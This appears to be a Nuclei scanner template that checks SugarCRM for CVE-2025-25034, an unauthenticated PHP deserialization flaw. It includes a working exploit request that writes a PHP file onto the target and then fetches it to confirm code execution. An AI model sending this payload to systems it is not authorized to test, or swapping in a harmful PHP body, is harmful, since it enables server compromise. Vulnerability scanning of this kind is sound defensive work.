id: CVE-2025-25034

info:
  name: SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection
  author: Redmomn
  severity: critical
  description: |
    A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.
  impact: |
    Unauthenticated attackers can execute arbitrary code within the application context, potentially leading to full system compromise.
  remediation: |
    Update to versions 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, 7.7.1.0 or later.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
    - https://support.sugarcrm.com/resources/security/sugarcrm-sa-2016-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25034
    - https://karmainsecurity.com/KIS-2016-07
    - https://vulncheck.com/advisories/sugarcrm-php-deserialization-rce
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2025-25034
    cwe-id: CWE-502
    epss-score: 0.02971
    epss-percentile: 0.85473
  metadata:
    verified: true
    fofa-query: app="sugarcrm"
    max-request: 2
  tags: cve,cve2025,sugarcrm,rce,php,deserialization,unauth,vkev,vuln

flow: http(1) && http(2)

variables:
  num: '99999999'
  filepath: 'custom/{{rand_text_alpha(8)}}.php'

http:
  - raw:
      - |
        POST /service/v4/rest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        method=login&input_type=Serialize&rest_data=O:14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";s:22:"../{{filepath}}";S:16:"\00*\00_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:30:"<?php echo md5('{{num}}'); ?>";}}

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filepath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, md5(num))'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201b313c2e04e8f97b67c0f1d74e165badb87fcdaccee2fce66677ef49fd6a6b15022100bd8882482dd5188ba65d1085168cc9ce52089bdde750f88f4341956bf8df4411:922c64590222798bb761d5b6d8e72950